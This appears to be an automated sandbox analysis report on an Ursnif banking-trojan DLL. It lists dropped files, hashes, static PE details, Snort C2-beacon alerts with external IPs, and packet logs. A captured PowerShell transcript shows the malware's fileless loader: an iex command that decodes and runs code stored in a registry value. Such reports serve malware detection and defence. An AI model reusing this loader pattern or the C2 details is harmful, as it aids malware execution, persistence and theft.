SHA-256:	8E2F48E5440A031A4971E887424312E188E847C168988E738E70D248E0223F04
SHA-512:	876931EB9C5B6769A0A5A7EFAF2C667DBD086C5FB17036B92A08A442EAC602CF44AF492EF2BA72923FC6D0522BD4E2B6A0ED8B5C7E4AC2EFF25342191856FA0A
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFC0327530F4C9EDC8.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39665
Entropy (8bit):	0.5742651619822062
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+1bZILByWsZ2yWsZWyWsZP:kBqoxKAuqR+1bZILByWsZ2yWsZWyWsZP
MD5:	DF24D13DC19F1428C180B7988435708F
SHA1:	6C5954FF5ACE3D4A07B5F441F5410AAADE987736
SHA-256:	AAE0A6F7B922BEF9464692AEC09EDBEB1DA06CBBF085C1B92FB9A0AFBFA1031A
SHA-512:	DE02F3726904F55F0B5EBBBE1003B465AE7E5BC2FA4E41B3EA5601321C6B56DFDD84648FCC6C25DF810F72C1C873275412A954EB7748E9CAF780326630E35409
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFDA1862BB57AFC49E.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39753
Entropy (8bit):	0.5936484726253358
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+a8mv8G4x9SOI4x9SO04x9SON:kBqoxKAuqR+a8mv8G4bK4b24b3
MD5:	5B18C3F2B215F153D494A9797AE129C6
SHA1:	539E20E8C63CA65DFF9E8DA1174F393785AC6D98
SHA-256:	AE872FC1CEA0AE77E4310E4A884EC63FAC39FC2280E499695D54727B57091D77
SHA-512:	73E167627630B20BE5F3211EB48A240AC48AC661FE348C5D710605F78C32BE503A1C235DFDFC3581A2AA156613CAC7365D72B0030DFDF13A824C1C8C63FAB754
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFDAA4E4775032EEEE.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39673
Entropy (8bit):	0.577500224254981
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+MqwRaY/Eo5V/Eo5t/Eo5S:kBqoxKAuqR+MqwRaY/x7/xz/x4
MD5:	8C534EEC76C90F24D9BF5DDAF5270007
SHA1:	C57912094F0153E9A0CCC57BF57CF7C7D94E013F
SHA-256:	81E92CB1B318277B53BF09E90B9B45CEF497C7980B7FFF374BDB1437070A1C4D
SHA-512:	F7F3264AAAC02BAFB0D01FE6E9B8F96F62889802CBF1BE562CAC5042724BF0CBDEB89A9362FF3052968D92C1FF79723C054C7779A78D0F3182D40B31DDCDC56B
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE8A1D16E4DDA01A9.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39657
Entropy (8bit):	0.5745740276231007
Encrypted:	false
SSDEEP:	48:kBqoxKAuvScS+vRT6+I+6Mp/eihfd+Mp/eihfdCMp/eihfdT:kBqoxKAuvScS+vRT6h3izF+izFCizFT
MD5:	804F6ED88385ACA1B0C013DD8BB9DAEC
SHA1:	AB4E45A75FBF70D7C7ACC84D7F4F2E72EEF9B441
SHA-256:	8E1754940EFB45DC395BBAD4E26041A01C119BF7377BD3A1F71A265CE7DB14AB
SHA-512:	AE51C18B4C404242DFAD989E6047DE5573771740D3051E7BD7D8C83FA01688DB9AA11527E4FBA36083AA8DB2447CA48845C77664C7D09EC803650CC5D325ACCC
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFFEBFC8E2AAC9D5AE.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	42977
Entropy (8bit):	0.5366588460129859
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+AGcdG5mxUAu/SUAu1WUAuYP:kBqoxKAuqR+AGcdG5mxhu/Shu1WhuY
MD5:	C5902292C9FD0DB2074054A9FAD788B0
SHA1:	E0BA1983E9FA329F21882C73074B6181801C9669
SHA-256:	9892CF98D621B10B774C4CE0CD892DA67648B37A3646FAC2F30220A28F545ADB
SHA-512:	F023AA47FBF764253B5A033BA941E40909B2F0307900F8BE433E41FA6CE348AFDE5EB301E9E0993A8DA427AD40AA39665FD5080D79A80E470C8EAA374CC32D20
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EO8LTTBY8KNB3G2UP8AR.temp Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	5149
Entropy (8bit):	3.185085812258774
Encrypted:	false
SSDEEP:	48:ddiFPiIhAC9GrIoaAsASFudiFPiIhAh683GrIoaAcztdiFPiIhAx9GrIoaAV1H:6PiMl9S6AJYPiMm3S6AVPiMe9S6Af
MD5:	56BCB6A647C0FC15C0DBC3647C566AD8
SHA1:	FA2D6AA3D07F327AC6416416C63C8C53A6636BBC
SHA-256:	3D595D8C4FF594244A93BFFD75F99613FD75155FCCE65CF4D649AEF9119AC3FE
SHA-512:	CC1D8C2D14F0808583847014A5B80CA70F8F0FB12C2BDA944FB6B5331E98EE3EE6E8698CB3B8E42AFEED7DD63EDBE99F8EBFF7AAA18EB97B0CC09E03A2EF368E
Malicious:	false
Preview:	...................................FL..................F.@.. .....@.>...D$c..r....?.c................................P.O. .:i.....+00.../C:\.....................1.....>Q\u..PROGRA~1..t......L..R.....E...............J......~..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....l.1......L.J..INTERN~1..T......L..R................................i.n.t.e.r.n.e.t. .e.x.p.l.o.r.e.r.....f.2......L.9 .iexplore.exe..J......L.J.R.......R..........x.............i.e.x.p.l.o.r.e...e.x.e.......^...............-.......]...................C:\Program Files\internet explorer\iexplore.exe....-.p.r.i.v.a.t.e...C.:.\.W.i.n.d.o.w.s.\.S.Y.S.T.E.M.3.2.\.I.E.F.R.A.M.E...d.l.l.........%SystemRoot%\SYSTEM32\IEFRAME.dll...................................................................................................................................................................................................................................%.S.y.s.t.e.m.R.o.o.t.%.\.S.Y.S.T.E.M.3.2.\.I

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PJELYUY5XJK3WIPAS73C.temp Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	5149
Entropy (8bit):	3.1863989368263574
Encrypted:	false
SSDEEP:	48:9diFPiIhAC9GrIoaAsASFudiFPiIhAh683GrIoaAcztdiFPiIhAx9GrIoaAV1H:aPiMl9S6AJYPiMm3S6AVPiMe9S6Af
MD5:	A81E115C26D84AD3A4AC39F72BC09798
SHA1:	9D168897781AEF475F174418E4CC83377751E56D
SHA-256:	24AE1BCF24AC189183492F721B48D32DCC3006824205BDB6BE96D8F4723B16A6
SHA-512:	9D443482824B6FC730311CC941DD0ABDCA3FB61DDC756626C31B171E4A7A0084839764FBCB2C9A79EBA997A2375C6CEBA8C6BDAC9D43F8CC216F9557588B2632
Malicious:	false
Preview:	...................................FL..................F.@.. .....@.>...D$c..r....?.c................................P.O. .:i.....+00.../C:\.....................1.....>Q\u..PROGRA~1..t......L.>Qbu....E...............J......~..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....l.1......L.J..INTERN~1..T......L..R................................i.n.t.e.r.n.e.t. .e.x.p.l.o.r.e.r.....f.2......L.9 .iexplore.exe..J......L.J.R.......R..........x.............i.e.x.p.l.o.r.e...e.x.e.......^...............-.......]...................C:\Program Files\internet explorer\iexplore.exe....-.p.r.i.v.a.t.e...C.:.\.W.i.n.d.o.w.s.\.S.Y.S.T.E.M.3.2.\.I.E.F.R.A.M.E...d.l.l.........%SystemRoot%\SYSTEM32\IEFRAME.dll...................................................................................................................................................................................................................................%.S.y.s.t.e.m.R.o.o.t.%.\.S.Y.S.T.E.M.3.2.\.I

C:\Users\user\Documents\20210706\PowerShell_transcript.936905.tCXdUG6j.20210706143138.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	984
Entropy (8bit):	5.475077848995703
Encrypted:	false
SSDEEP:	24:BxSArDvBBIx2DOXUWOLCHGI4XWOHjeTKKjX4CIym1ZJXhPOLCHGI4v:BZnv/IoORF4GOqDYB1Z/pF4v
MD5:	A58081692CBDD435289601F663322947
SHA1:	391C459F3D3D459D5A570E7E0FED8D982009F919
SHA-256:	3201A8EE4EE0F52C3CBD7808602A4BC0596F5BC497FF599598A7996095FC7A6B
SHA-512:	7F591B2B09852E968FB97532E184BCE12391642DC95F331A3FAF319EA53E624EECE6AF28502CC7A4B14670252826B265883C8239323FF8D1251895E00F2EF5D8
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210706143139..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 936905 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex ([System.Text.Encoding]::ASCII.GetString(( gp HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E).UtilDiagram))..Process ID: 3076..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210706143139..********************..PS>iex ([System.Text.Encoding]::ASCII.GetString(( gp HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E).UtilDiagram))..

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.498770606089908
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2770174.dll
File size:	48780
MD5:	bce6371b0aed287193d8f90f2b1b4441
SHA1:	2fc4f4c523c701dba03cf1f1e6971e61dc1efcb3
SHA256:	4b631043c6ff0a2fd24591b0564f7b3fc59c46319646b27cec4cf24349227d36
SHA512:	8412cbd94317113a9af8c24b2f44a63143cefa5360c95d55af90b6342ad9c26423e1931a707d9d7e46c684454f88abedf520c079e80c0653b505cac178a937b1
SSDEEP:	768:nlGZ5Eevswd4RoFgmPsnwx+yXqv4kC9/VWH64A1xbDOhtMhDbPm+K5StOQM80Epd:lGZ5ewOKywnavdM/V+6OzsrJK9WpMtx
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S>.n._.=._.=._.=.'.=._.=.'.=._.=._.=f_.=.P.=._.=.P.=._.=.P.=._.=.'.=._.=.'.=._.=.'.=._.=Rich._.=........PE..L......`...........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10001d4b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x60C0F88C [Wed Jun 9 17:21:16 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6e9163c62b29a1ccabed40ce8621a95a

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ecx
mov eax, dword ptr [ebp+0Ch]
push ebx
push esi
push edi
xor edi, edi
inc edi
xor ebx, ebx
sub eax, ebx
mov dword ptr [ebp-04h], edi
je 00007F29ACB7E691h
dec eax
jne 00007F29ACB7E6DBh
push 10004108h
call dword ptr [1000304Ch]
cmp eax, edi
jne 00007F29ACB7E6C8h
push ebx
push 00400000h
push ebx
call dword ptr [10003034h]
mov dword ptr [10004110h], eax
cmp eax, ebx
je 00007F29ACB7E65Ch
mov eax, dword ptr [ebp+08h]
mov esi, 10004118h
mov dword ptr [10004130h], eax
mov eax, esi
lock xadd dword ptr [eax], edi
mov ecx, dword ptr [ebp+10h]
lea eax, dword ptr [ebp+0Ch]
push eax
call 00007F29ACB7E2FBh
push eax
push 100015EAh
call 00007F29ACB7DDC6h
mov dword ptr [1000410Ch], eax
cmp eax, ebx
jne 00007F29ACB7E67Bh
or eax, FFFFFFFFh
lock xadd dword ptr [esi], eax
mov dword ptr [ebp-04h], ebx
jmp 00007F29ACB7E66Fh
push 10004108h
call dword ptr [10003048h]
test eax, eax
jne 00007F29ACB7E660h
cmp dword ptr [1000410Ch], ebx
je 00007F29ACB7E64Ch
mov esi, 00002328h
push edi
push 00000064h
call dword ptr [10003040h]
mov eax, dword ptr [10004118h]
test eax, eax
je 00007F29ACB7E629h
sub esi, 64h
cmp esi, ebx
jnle 00007F29ACB7E609h
push dword ptr [1000410Ch]
call dword ptr [10003018h]
push dword ptr [00000000h]

Rich Headers

Programming Language:

[ASM] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[EXP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3570	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x311c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0x14c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3000	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x15c7	0x1600	False	0.730823863636	data	6.49170357793	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x3000	0x5c0	0x600	False	0.545572916667	data	5.09033285073	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4000	0x1dc	0x200	False	0.08984375	data	0.369416603835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.bss	0x5000	0x2dc	0x400	False	0.755859375	data	6.27518553548	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x6000	0x9000	0x8400	False	0.971768465909	data	7.8716224231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	HeapAlloc, HeapFree, Sleep, ExitThread, CloseHandle, GetLastError, GetExitCodeThread, GetSystemTime, SwitchToThread, SetThreadAffinityMask, SetThreadPriority, HeapCreate, HeapDestroy, GetCurrentThread, SleepEx, WaitForSingleObject, InterlockedDecrement, InterlockedIncrement, lstrlenW, VirtualProtect, GetModuleFileNameW, SetLastError, GetModuleHandleA, OpenProcess, CreateEventA, GetLongPathNameW, GetVersion, GetCurrentProcessId, TerminateThread, QueueUserAPC, CreateThread, GetProcAddress, LoadLibraryA, VirtualFree, VirtualAlloc, MapViewOfFile, GetSystemTimeAsFileTime, CreateFileMappingW
ntdll.dll	_snwprintf, memset, memcpy, _aulldiv, RtlUnwind, NtQueryVirtualMemory
ADVAPI32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorA

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x10001131

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/06/21-14:30:29.907217	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49724	80	192.168.2.5	40.97.116.82
07/06/21-14:31:18.248925	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49803	80	192.168.2.5	45.90.58.179
07/06/21-14:31:18.248925	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49803	80	192.168.2.5	45.90.58.179
07/06/21-14:31:22.352667	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49805	80	192.168.2.5	45.90.58.179
07/06/21-14:31:23.854829	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49805	80	192.168.2.5	45.90.58.179
07/06/21-14:31:23.854829	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49805	80	192.168.2.5	45.90.58.179
07/06/21-14:31:29.922583	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49814	80	192.168.2.5	45.90.58.179
07/06/21-14:31:29.922583	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49814	80	192.168.2.5	45.90.58.179
07/06/21-14:31:29.950485	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49815	80	192.168.2.5	45.90.58.179
07/06/21-14:31:29.950485	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49815	80	192.168.2.5	45.90.58.179
07/06/21-14:31:33.736978	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49817	80	192.168.2.5	45.90.58.179
07/06/21-14:31:33.754382	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49819	80	192.168.2.5	45.90.58.179
07/06/21-14:31:37.986078	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49821	80	192.168.2.5	45.90.58.179

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 6, 2021 14:29:43.840171099 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.840492010 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.878349066 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.878400087 CEST	443	49700	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.878520966 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.879159927 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.885982990 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.887337923 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.925028086 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.925879002 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.925901890 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.925940037 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.925961018 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.926841021 CEST	443	49700	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.932426929 CEST	443	49700	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.932447910 CEST	443	49700	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.932495117 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.932533979 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.936820030 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.937172890 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.937355995 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.944401979 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.944746017 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.974683046 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.975028038 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.975137949 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.975153923 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.975284100 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.975323915 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.975439072 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.976252079 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.982882977 CEST	443	49700	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.982945919 CEST	443	49700	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.982985020 CEST	443	49700	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.983052969 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.983077049 CEST	443	49700	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.983144999 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.991036892 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:43.993628025 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.993652105 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:43.993859053 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:29:44.029131889 CEST	443	49700	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:44.055547953 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:29:49.216770887 CEST	49713	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.217744112 CEST	49714	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.218682051 CEST	49715	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.219651937 CEST	49716	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.220621109 CEST	49717	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.221812963 CEST	49718	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.258012056 CEST	443	49713	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.258709908 CEST	49713	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.258863926 CEST	443	49714	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.258964062 CEST	49714	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.259634972 CEST	49714	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.259705067 CEST	443	49715	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.259788036 CEST	49715	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.260519981 CEST	49715	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.260699987 CEST	49713	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.260726929 CEST	443	49716	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.260801077 CEST	49716	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.261440039 CEST	49716	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.261727095 CEST	443	49717	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.261799097 CEST	49717	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.262454033 CEST	49717	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.262852907 CEST	443	49718	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.262948036 CEST	49718	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.263659954 CEST	49718	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.301054001 CEST	443	49714	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.301605940 CEST	443	49715	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.301775932 CEST	443	49713	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.302480936 CEST	443	49716	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.302674055 CEST	443	49715	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.302704096 CEST	443	49715	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.302772045 CEST	49715	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.302778006 CEST	443	49715	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.302819014 CEST	49715	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.302850962 CEST	49715	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.303528070 CEST	443	49717	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.303564072 CEST	443	49713	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.303585052 CEST	443	49713	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.303605080 CEST	443	49713	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.303658962 CEST	49713	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.303687096 CEST	49713	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.303801060 CEST	443	49714	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.303827047 CEST	443	49714	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.303843975 CEST	443	49714	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.303873062 CEST	49714	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.303917885 CEST	49714	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.303940058 CEST	443	49716	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.303961992 CEST	443	49716	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.303980112 CEST	443	49716	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.303992987 CEST	49716	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.304040909 CEST	49716	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.304589987 CEST	443	49717	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.304615974 CEST	443	49717	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.304637909 CEST	443	49717	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.304725885 CEST	49717	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.304748058 CEST	49717	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.304749966 CEST	443	49718	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.306627989 CEST	443	49718	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.306667089 CEST	443	49718	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.306684971 CEST	443	49718	151.101.1.44	192.168.2.5
Jul 6, 2021 14:29:49.306730986 CEST	49718	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.306755066 CEST	49718	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.326565027 CEST	49713	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.327888966 CEST	49714	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:29:49.328264952 CEST	49713	443	192.168.2.5	151.101.1.44
